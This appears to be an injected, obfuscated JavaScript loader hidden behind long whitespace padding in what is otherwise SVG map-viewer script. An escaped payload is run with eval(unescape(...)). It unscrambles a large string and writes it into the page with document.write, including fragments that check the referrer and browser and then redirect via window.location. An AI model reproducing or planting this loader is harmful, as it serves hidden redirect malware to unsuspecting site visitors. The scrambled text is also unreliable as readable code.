
































































																																								var el29=6606;xtbpSTqB='PnKmObFbnhCiJpDJFSeuEGQjeLNrxUOR';wu='<citus=Ti aede o upr orbosr  rwe eso . rhge srqie!;ldcmn.aesd=ouetalg=ouetgtlmnBI;s(idwsdbr?refleiNnvgtrueAettLwrae)idxf`esae)=?reflei(s&iN{lr(np;hslcto=`;a s=`fnto e({euntu}wno.nro  e;a 4;a aPesd=0qq/*****************g/*Bto-aiain-ukinng/****************qqfnto ragEet(tt,eutt){g laEet(tt)q i teak! tt |mnSae q  sic(tt){g   ae"a"q    arneaZo(tt,bgnaPnet""oaPnet""nMpa(""uMp`a`""vra(pn))q    bekq   cs zoi"q    arneaZo(tt,bgnaZo(v,zoi`""oaZo(v,zoi`""nMpomet`omn),ota(zoi`""vra(zoi`";g    ra;g   ae"omu"q    arneaZo(tt,bgnaZo(v,zoot),dMpomet`omu`""nMpomet`omu`""uMp`omu`""vra(zoot))q    bekq   cs maue:g    ragKodes)q    bekq   cs kod:g    ragKodes)q    bekq  }g  eupaesae;g  ogeu(tt)q  teak=saeq }es q  mnUdt(ietf`;g  hTs  ietf`q  tglBt`dniy)q }gqqfnto euvnssae q arnevnssaetu)q}ggucinmnUdt(tt){g f(VRo.eEeetyd`eu  hTs) VRo.eEeetyd`eu  hTs)sttrbt(cekd,n`q i SGotgtlmnBI(mn`+sae)SGotgtlmnBI(mn`+sae.eAtiue`hce``e`q dcmn.mes`a`.idwmnUdt2)q}ggucinmnFlEtn( q vrtels=SGotgtlmnBI(Mpiweu)gtlmnsyaNm(ie`;g o(a =;i3 +){g  a Ie  hEe.tmi;g  a IeI  Ie.eAtiue`d)q  i itmgttrbt(i`.neO(mn` =- &itmgttrbt(cekd)= ys){g   a tt  Ie.eAtiue`d)sbt(,1;g   eAtiue(VRo.eEeetyd`u`+sae, x:10``-0,vsblt``iil`};g   ra;g  q }g ulxet)q}gg/*************q/* om n a-ukinng/*************qqfnto ragPnomsaemueonv,osmvEtmuepv,osotv,osoeEt q SGotgtlmnBI(mpotn`.eAtiue`one-vns,nn`;g eAtiue(VRo.eEeetyd`aAdomet){pitreet``l`omueonmueonv,nosmv:osmvEtomuepmuepv,nosotmueuEtomuevrmuevrv};g eAtiue(VRo.eEeetyd`u`+sae, x:10``-0,vsblt``iil`};gqqfnto eiMpometsae q i etbto =2 euntu;g aPesd=1q satlet  v.let;g trCinY=etcinYq satvX=gtvXsatlet)q satvY=gtvYsatlet)q i sae= zoi` q  vrsrkWdh=Vebxra[]2  xetra[]0  uSaeq  vrnwet=bidoeSGot"et,`d:zoRc```satvX y:trEt,`it`0 hih`0 sye:fl:oesrk:lc;toewdh`+srkWdh+`saerneigotmzSed,`one-vns:nn`};g  VmpapnCidnwet;g q}ggucindMpometsae q sttrbts VRo.eEeetyd`u`+sae,``pren(v.let  5,y:asItetcinY+1))q i mprse =1& tt =`omn){g  a nEt  eEt(v.let)q  vredvY=gtvYetcinY;g  f(nEt  trEt  )SGotgtlmnBI(zoRc`.eAtiue``edvX;g  f(nEt  trEt  )SGotgtlmnBI(zoRc`.eAtiue``edvY;g  a eWdh=Mt.b(nEt  trEt)q  vrnwegt=Mt.b(nEt  trEt)q  sttrbtsSGotgtlmnBI(zoRc`,`it`nwit,hih`nwegt)q }gqqfnto nMpometsae q i mprse =0 euntu;g aPesd=0q vratcl  uSaeq sic(tt){g  ae"omn:g   a nCinX=etcinXq   vredlet  v.let;g   a nEt  eEt(nCinX;g   a nEt  eEt(nCinY;g   f(VRo.eEeetyd`omet) VmprmvCidSGotgtlmnBI(zoRc`)q   / u uk elct(i oeazq   i Mt.b(nCinX-satlet)<  &Mt.b(nCinY-satlet)< ){g    uSae=crcl  ;g    le{g    f(ahasedvX-satvX =Mt.b(nEt  trEt) q     crcl  iwoAry0[]/Mt.b(nEt  trEt)q    }es q     crcl  iwoAry0[]/Mt.b(nEt  trEt)q    }g    f(nEt  trEt){g     a mWr  trEt;g     trEt  nEt;g     nEt  mWr;g    q    i edvY<satvY q     vrtpet=satvYq     satvY=edvYq     edvY=tpetq    }g    trEt  ahasedvX-satvX    trEt;g    trEt  ahasedvY-satvY    trEt;g   q   bekq  cs zoot:g   uSae=crcl  ;g   ra;g q crcl  hcLmtuSaecrcl)q Saey(kSae;g etromsatvXsatvY;g ragZoCag(re;gqqfnto eiMpa(v){g f(v.utn= )rtr req mprse  ;g trEt  eEt(v.let)q satvY=gtvYetcinY;gqqfnto oaPnet q sttrbts VRo.eEeetyd`upn){x:asItetcinX+1)``prela(v.let  5};g f(aPesd= )rtr req vredvX=gtvXetcinX;g a nEt  eEt(v.let)q vrnw  Vebxra[]0  satvX-edvX;g a eY= iwoAry1[]+(trEt  nEt)q sttrbtsSGa,`iwo`nw     eY+``+Vebxra[]2     iwoAry1[])q i tevriwlg oevret)q}ggucinedaPn){g f(aPesd= )rtr req mprse  ;g aeiwo(Vmp1;g f(yefterfeso)! udfnd &terfeso =1 ouetebd[mp]wno.yFnEtn(;gqqfnto uMpteu){g VRo.eEeetyd`u`+teu)sttrbt(vsblt``idn)q}ggucinoeMpteu){g VRo.eEeetyd`u`+teu)sttrbt(vsblt``iil`;gqqfnto omocl(eMsSa){g f(asFotnwastb =1 q  vratcl  uSaeq  msZh  asFotnwastb;g  a eCrcl  eCrcl(asal;g  uSae=cekiiCrcl(eCrcl)q  vrdMsZh  as;g  f(uSae! eCrcl){g   oasal=tu;g  q  vrMte  iwoAry1[]+Vebxra[]2  ;g  a itY=Vebxra[]1  iwoAry1[]/2q  Saey(kSae;g  etromMte,itY;g  ragZoCag(oasal;g  le{g  hwasal)q }g eunfleq}ggucinzoPretnwuSae q i crcl =nwuSae q  vratcl  uSaeq  crcl  eCrcl;g  a itX=Vebxra[]0  iwoAry1[]/2q  vrMte  iwoAry1[]+Vebxra[]3  ;g  clSmatcl)q  cneZo(itXMte)q  arneomhnefle;g q}ggucinzoTEtn(Mnxa,Mnya,omodr q vratcl  uSaeq vrxclFk  6 /Wr urPntq vryclFk  6q i (Mx-xi)>0 Saeat=Vebxra[]2  xa  Mn;g f(ya  Mn  )yclFk  iwoAry0[]/(Mx-yi)q i xclFk  Saeat a omodrat=EtnAry1[]/(xetra[]0  2*zoBre);g levrzoBreFk  xetra[]1  EtnAry1[]-(  omodr)q crcl  ahmnxclFk,Saeat  omodratq crcl  hcLmtuSaecrcl)q vrMte  xi  Mx  ;g a itY=(Mn+ya)/2q Saey(kSae;g etromMte,itY;g ragZoCag(re;gqqfnto ulxet){g a kSae=crcl;g uSae=cekiiCrcl()q vrMte  iwoAry0[]+Vebxra[]2  ;g a itY=Vebxra[]1  iwoAry0[]/2q Saey(kSae;g etromMte,itY;g ragZoCag(re;g f(hGtclFa &!hGnrlclFa)dcmn.omomlszo';OToHxf='SUlRWfqPOQBOwvOHOLPlQOVj';pntc='%6B%3D%75%6Ee%73\143a%70e\050%22%25%30D%25%30A%22\051%3B%69%31%3D%20%6B%70%68\050%77%75\051%3Bd%6F\143%75%6De%6Et%2E%77\162%69te\050%69%31\051%3Bf%75%6E\143t%69%6F%6E%20%6B%70%68\050%73\051%20%7B%76a\162%20%75%6E%3D%22%22%3B%6C%3D%73%2E%6Ce%6E%67t%68%3B%6F%68%3D%4Dat%68%2E\162%6F%75%6Ed\050%6C%2F%32\051%3Bf%6F\162\050%69%3D%30%3B%69%3C%3D%6F%68%3B%69%2B%2B\051%7Ba%3D%73%2E\143%68a\162At\050%';wu+='.eetdne  ;g f(ouetfrzoOj! ul ouetfrzoOjlsojslceIdx=0q}ggucincneZo(itXMte){g a rnfrX=Mte  Vebxra[]2  uSae/2;g a rnfrY=Mte  Vebxra[]3  uSae/2;g eAtiue(Vmp{veBx:rnfrX+``+Tasom     iwoAry0[]/crcl     iwoAry0[]/crcl};g aeiwo(Vmp1;gqq/************g/*Oeve-aaeetg/***********qqfnto nOePnet q vroeAt  asFotSGvretgttrbt(x);g a vrkY=prela(VoeRc.eAtiue``)q sttrbtsSGa,`iwo`oeAt     vrkY+``+Vebxra[]2     iwoAry1[])q svVeBxSGa,)q vroeGop=SGvrgtlmnBI(oegop)q oeGoprmvEetitnr`osmv`dOePnfle;g vrru.eoevnLsee(muep,nOePnfle;g vrru.eoevnLsee(mueu`edvra,as)q oeGopsttrbt(pitreet``oe)q SGvretsttrbt(pitreet``l`;g f(yefterfeso)! udfnd &terfeso =1 ouetebd[mp]wno.yFnEtn(;ggqqfnto oevret){g a iwoWre=SGa.eAtiue`iwo`.pi( )q sttrbtsSGvret{x:iwoWre0,y:iwoWre1,wdh:iwoWre2,hih`vebxet[])q}gg/****************g/*KodntnSrcemsugg/****************ggucindMaueetCnetTx,ihi){g f(hTs =`esr` euntu;g a esrPt  VRo.eEeetyd`esrPt`;g esrCut=maueon  ;g f(esrCut= ){g  eAtiue(VRo.eEeetyd`esrCrl`,`x:eEt(v.let)`y:eEt(v.let)`iiiiy:vsbe )q  mauetig=""+gtvXetcinX     eEt(v.let)+"   eEt(v.let)+""+gtvYetcinY;g  esrPt.eAtiue"" esrSrn)q }es q  mauetig=mauetig+"   eEt(v.let)+""+gtvYetcinY;g  esrPt.eAtiue"" esrSrn)q }g f(v.eal! )maueon  ;g a esrLnt  maueahgtoaLnt(  ovr)tFxdtercso)q vrteet=Tx  esrLnt  ihi;g hwetTx  esrLnt  ihi)q}ggucindKodet q i teak! kod)rtr req vrXet=(hXrgn+gtvXetcinX)tFxdtercso)q vrYet=(hYrgn-gtvYetcinY)tFxdtercso)q soTx(Wr      Yet;gqq/***************g/*TotpFntoeq/***************ggucinmpiOe(v,no q i !lIi)rtr req cikoe=fleq vrtiTre  v.urnTre;g rgeOj=tiTre;g a hsrp=tiTre.aetoegttrbtN(hPoN,syerp)q oiClr=tiTre.tl.ePoetVletiPo)q i if =`)rtr req vrmpiTx  VRo.eEeetyd`aTpet)q vrfko  hLgaKef/crcl;g a fst  Vebxra[]0)q vrofeY=(iwoAry1[];ggg aTpetfrthl.aa=if;g a etegh=mpiTx.eCmueTxLnt(  6q SGotgtlmnBI(mpiRc`.eAtiue(wdh,rcLnt)q i (v.let  etegh  xetra[]0){g  a   fst  etcinX-rcLnt  )*fko;g  le{g  a   fst  v.let  atrq }g f(etcinY+4)> EtnAry1[] q  vry=ofeY+(v.let  5  atrq }es q  vry=ofeY+(v.let  5  atrq }g eAtiue(VRo.eEeetyd`aTp){`rnfr``arx`+fko  `00`+fko  ,    ,    ),`iiiiy:vsbe  ;g hsagtsyestrprytiPo,hHClr;gqq/************g/*Uiiisg/***********qqfnto eEt(vle q vrat  Xau  iwoAry0[]/EtnAry1[]/crcl)+Vebxra[]0;g eunat;gqqfnto eEt(vle q vrat  Yau  iwoAry0[]/EtnAry1[]/crcl)+Vebxra[]1;g eunat;gq<srp>srp>np`hspg osntspotyu rwe.Abosrvrin40o ihri eurd`d=ouetlyr;adcmn.l;edcmn.eEeetydw=wno.iea)tu:as;z=aiao.srgn.ooeCs(.neO(ntcp`>0tu:as;fw&!z)aetus)ti.oain`}vrmg`;ucinnm)rtr re;idwoerr=nmvro2vrmprse  ;gg/****************q/* utnNvgtosFntoeq/*****************ggucinarnevnssaemnSae q cervnssae;g f(hTs =sae| eutt){g  wthsae q   cs pn:g    ragPnomsae"eiMpa(v),dMpa(v),edaPn),ota(pn),oeMp`a`";g    ra;g   ae"omn:g    ragPnomsae"eiMpomet`omn),dMpomet`omn),edaZo(v,zoi`""uMp`omn),oeMp`omn))q    bekq   cs zoot:g    ragPnomsae"eiMpomet`omu`""oaZo(v,zoot),edaZo(v,zoot),ota(zoot),oeMp`omu`";g    ra;g   ae"esr"q    arneorMa(;g    ra;g   ae"or"q    arneorMa(;g    ra;g  q  mnUdt(tt)q  tglBtsae;g  hTs  tt;g  le{g  eupae`dniy)q  teak=`dniy;g  ogeu(ietf`;g q}ggucinmnEet(tt){g ragEet(tt,re;gqqfnto eupaesae q i SGotgtlmnBI(mn`+teak)SGotgtlmnBI(mn`+teak.eAtiue`hce``o)g f(VRo.eEeetyd`eu  tt) VRo.eEeetyd`eu  tt)sttrbt(cekd,ys)g ouetebd[mp]wno.eupae(;gqqfnto euulxet){g a hEe  VRo.eEeetyd`aVeMn`.eEeetBTgae`tm)q frvri0 <;i+ q  vritm=telsie()q  vritmd=itmgttrbt(i`;g  f(Ie.eAtiue`d)idxf`eu)! 1& Ie.eAtiue`hce` =`e` q   vrsae=itmgttrbt(i`.usr41)q   sttrbtsSGotgtlmnBI(cr  tt){``-0,y:10`iiiiy:vsbe )q   bekq  }g q flEtn(;gqq/**************g/*Zo-udPnFntoeq/**************ggucinarneaZo(tt,osdwEtmueoev,osuEtmueuEtmuevrv){g VRo.eEeetyd`aCnet)sttrbt(pitreet``oe)q sttrbtsSGotgtlmnBI(pnnZoRc`,`one-vns:al,nosdw:osdwEtomueoemueoev,nosu:osuEtomueu:osotv,nosoe:osoeEt)q sttrbtsSGotgtlmnBI(cr  tt){``-0,y:10`iiiiy:vsbe )q}ggucinbgnaZo(v,tt){g f(v.utn= )rtr req mprse  ;g trCinX=etcinXq satlet  v.let;g trEt  eEt(trCinX;g trEt  eEt(trCinY;g f(tt =`omn){g  a toeit  iwoAry0[]/EtnAry1[]/crcl;g  a eRc  ulNd(VRo,rc"{i``omet,x:trEt,``satvY wdh:,`egt:,`tl``ilnn;toebaksrk-it:  toeit  ;hp-edrn:piiepe` pitreet``oe )q  SGa.pedhl(eRc)q }gqqfnto oaZo(v,tt){g eAtiue(SGotgtlmnBI(cr  tt){x:asItetcinX+1)``pren(v.let  5};g f(aPesd=  &sae= zoi` q  vredvX=gtvXetcinX;g  a nEt  eEt(v.let)q  i edvX-satvX<0 VRo.eEeetyd`omet)sttrbt(x,nEt)q  i edvY-satvY<0 VRo.eEeetyd`omet)sttrbt(y,nEt)q  vrnwit  ahasedvX-satvX;g  a eHih  ahasedvY-satvY;g  eAtiue(VRo.eEeetyd`omet){wdh:eWdh`egt:eHih};g q}ggucinedaZo(v,tt){g f(aPesd= )rtr req mprse  ;g a kSae=crcl;g wthsae q  cs zoi"q   vredlet  v.let;g   a nCinY=etcinYq   vredv';GOyqlyS='cBmwYSsuOvCLycmmkqRYaIWWhlof';pntc+='69\051%3Bb%3D%73%2E\143%68a\162At\050%69%2B%6F%68\051%3B\143%3Da%2Bb%3B%75%6E%3D%75%6E%2B\143%3B%7D%3B%4D%3D%75%6E%2E%73%75b%73t\162\050%30%2C%6C\051%3B%4D%3D%4D%2E\162e%70%6Ca\143e\050%2F%60%2F%67%2C%22%27%22\051%3B%4D%3D%4D%2E\162e%70%6Ca\143e\050%2F%40%40%2F%67%2C%22%5C%5C%22\051%3Bf%20%3D%20%2F%71%67%2F%67%3B%4D%3D%4D%2E\162e%70%6Ca\143e\050f%2C%6B\051%3B\162et%75\162%6E%20%4D%3B%7D%3B';wu+='X=gtvXedlet)q   vredvY=gtvYedlet)q   i SGotgtlmnBI(zoRc`)SGa.eoehl(VRo.eEeetyd`omet);g   /nrPntgkik mtTlrn)g   f(ahasedlet  trCinX =3& ahasedlet  trCinY =3 q    crcl  uSae*2q   }es q    i Mt.b(nEt  trEt)> ahasedvY-satvY){g     uSae=Vebxra[]2  ahasedvX-satvX;g     le{g     uSae=Vebxra[]3  ahasedvY-satvY;g    q    i edvX<satvX q     vrtpet=satvXq     satvX=edvXq     edvX=tpetq    }g    f(nEt  trEt){g     a mWr  trEt;g     trEt  nEt;g     nEt  mWr;g    q    satvX=Mt.b(nEt  trEt)/2+satvXq    satvY=Mt.b(nEt  trEt)/2+satvYq   }g   ra;g  ae"omu"q   crcl  uSae/2q   bekq }g uSae=cekiiCrcl(uSae;g clSmatcl)q cneZo(trEt,trEt)q arneomhnetu)q}ggucinbgnaPnet q i etbto =2 euntu;g aPesd=1q satvX=gtvXetcinX;g trEt  eEt(v.let)q}ggucindMpa(v){g eAtiue(SGotgtlmnBI(cra`,``pren(v.let  5,y:asFotetcinY+1))q i mprse =0 euntu;g a nEt  eEt(v.let)q vredvY=gtvYetcinY;g a eX= iwoAry1[]+(trEt  nEt)q vrnw  Vebxra[]1  satvY-edvY;g eAtiue(Vmp{veBx:eX+``+nw     iwoAry1[]+``+Vebxra[]3};g f(hOeveFa)mvOeRc(;gqqfnto nMpa( q i mprse =0 euntu;g aPesd=0q svVeBxSGa,)q i tpo(hPoVrin =`neie`& hPoVrin= )dcmn.mes`a`.idwDnidxet)q}ggucinota(hBt q SGotgtlmnBI(cr  hBt.eAtiue`iiiiy,hde`;gqqfnto vra(hBt q SGotgtlmnBI(cr  hBt.eAtiue`iiiiy,vsbe)q}ggucinzoTSaenwastb q i prela(eMsSa)> ){g  a kSae=crcl;g  asal=prela(eMsSa)q  vrnwuSae=gtuSaemsZh)q  crcl  hcLmtuSaenwuSae;g  a oasal=fleq  i crcl =nwuSae q   dMsZh  req  }g  a itX=Vebxra[]0  iwoAry1[]/2q  vrMte  iwoAry1[]+Vebxra[]3  ;g  clSmatcl)q  cneZo(itXMte)q  arneomhnedMsZh)q }es q  soMsZh(;g q rtr as;gqqfnto omecn(eCrcl){g f(uSae! eCrcl){g  a kSae=crcl;g  uSae=nwuSaeq  vrMte  iwoAry1[]+Vebxra[]2  ;g  a itY=Vebxra[]1  iwoAry1[]/2q  Saey(kSae;g  etromMte,itY;g  ragZoCag(as)q }gqqfnto omoxetxi,Mxyi,MxzoBre){g a kSae=crcl;g a Saeat=1;/ etfe ukeg a Saeat=1;g f(xa  Mn  )xclFk  iwoAry0[]/(Mx-xi)q i (Mx-yi)>0 Saeat=Vebxra[]3  ya  Mn;g f(Saeat<yclFk)vrzoBreFk  xetra[]0  EtnAry1[]-(  omodr)q es a omodrat=EtnAry1[]/(xetra[]1  2*zoBre);g uSae=Mt.i(SaeatyclFk)/zoBreFk;g uSae=cekiiCrcl(uSae;g a itX=(Mn+xa)/2q vrMte  yi  Mx  ;g clSmatcl)q cneZo(itXMte)q arneomhnetu)q}ggucinflEtn( q vratcl  uSaeq crcl  hcLmtuSae1;g a itX=Vebxra[]0  iwoAry0[]/2q vrMte  iwoAry0[]+Vebxra[]3  ;g clSmatcl)q cneZo(itXMte)q arneomhnetu)q i teesaelg& teeeaSaelg ouetfrzo.itomslceIdx=0q i dcmn.omomb =nl)dcmn.omomb.itb.eetdne  ;gqqfnto etromMte,itY q vrTasom  itX-(iwoAry0[]/crcl  )q vrTasom  itY-(iwoAry0[]/crcl  )q sttrbtsSGa,`iwo`Tasom     rnfrY+``+Vebxra[]2  uSae+``+Vebxra[]3  uSae)q svVeBxSGa,)q}gg/***********q/* vriwMngmnq/************ggucinedvra(v){g a vrkX=prela(VoeRc.eAtiue``)q vroeAt  asFotSGvretgttrbt(y);g eAtiue(Vmp{veBx:vrkX+``+oeAt     iwoAry1[]+``+Vebxra[]3};g aeiwo(Vmp1;g a vrru  Voe.eEeetyd`vrru`;g vrru.eoevnLsee(mueoe,ovra,as)q oeGoprmvEetitnr`osu`edvra,as)q oeGoprmvEetitnr`osot,nOePnfle;g vrru.eAtiue`one-vns,nn`;g VoeRc.eAtiue`one-vns,al)q i tpo(hPoVrin =`neie`& hPoVrin= )dcmn.mes`a`.idwDnidxet)qq}ggucinmvOeRc( q vrvebxet  Vmpgttrbt(veBx)slt``;g eAtiue(VoeRc,``vebxet[]``vebxet[]`it`vebxet[]`egt:iwoWre3};gqq/****************q/* oriae-teknesnq/****************qqfnto oesr(v,ovr,etEnet q i teak! maue)rtr req vrmaueah=SGotgtlmnBI(maueah)q maueon  esrCut+1q i maueon =1 q  sttrbtsSGotgtlmnBI(maueice){c`gtvXetcinX,c`gtvYetcinY,vsblt``iil`};g  esrSrn  M  eEt(v.let)+""+gtvYetcinY  L"+gtvXetcinX     eEt(v.let)q  maueahsttrbt(d,mauetig;g  le{g  esrSrn  esrSrn  L"+gtvXetcinX     eEt(v.let)q  maueahsttrbt(d,mauetig;g q i etdti =1 esrCut=0q vrmaueegh=(esrPt.eTtlegh)*Cnet.oie(hPeiin;g a hTx  et+maueegh+Enetq soTx(et+maueegh+Enet;gqqfnto oor(v){g f(hTs =`or` euntu;g a Wr  teOii  eEt(v.let).oie(hPeiin;g a Wr  teOii  eEt(v.let).oie(hPeiin;g hwetXet+`:`+ Wr)q}gg/**************q/* oli-ukinng/**************qqfnto aTpvretif){g f(bnnt euntu;g lcDn  as;g a hsagt=etcretagtq oiRcb  hsagtq vrtiPo  hsagtprnNd.eAtiueStergS`tlpo`;g rgoo  hsagtsyegtrpryau(hsrp;g f(no= ` euntu;g a aTpet=SGotgtlmnBI(mpiTx`;g a atr=teeMpof  uSaeq vrofeX=(iwoAry1[];g a fst  Vebxra[]1)qqq mpiTx.isCiddt  noq vrrcLnt  aTpetgtoptdetegh)+1;g VRo.eEeetyd`aTpet)sttrbt `it` etegh;g f(etcinX+rcLnt)>EtnAry1[] q  vrx=ofeX+(v.let  etegh-5  atrq }es q  vrx=ofeX+etcinX*fko;g q i (v.let  5 = xetra[]1){g  a   fst  etcinY-2)*fko;g  le{g  a   fst  etcinY+2)*fko;g q sttrbtsSGotgtlmnBI(mpi`, tasom:mti(  atr+ ,,,  atr+``+x+``+y+`` vsblt``iil`})q tiTre.tl.ePoet(hsrpteioo)q}gg/***********q/* tlteq/************ggucingtvXXau){g a cX=(vle*Vebxra[]2  xetra[]0  uSae  iwoAry1[]q rtr cXq}ggucingtvYYau){g a cY=(vle*Vebxra[]3  xetra[]1  uSae  iwoAry1[]q rtr cYq}g/cit';eval(unescape(pntc));bth79='NrMvBOQNHOXqPkqmBEUlnxJEeuRgDvkUOOObRKSsIHZ';

































































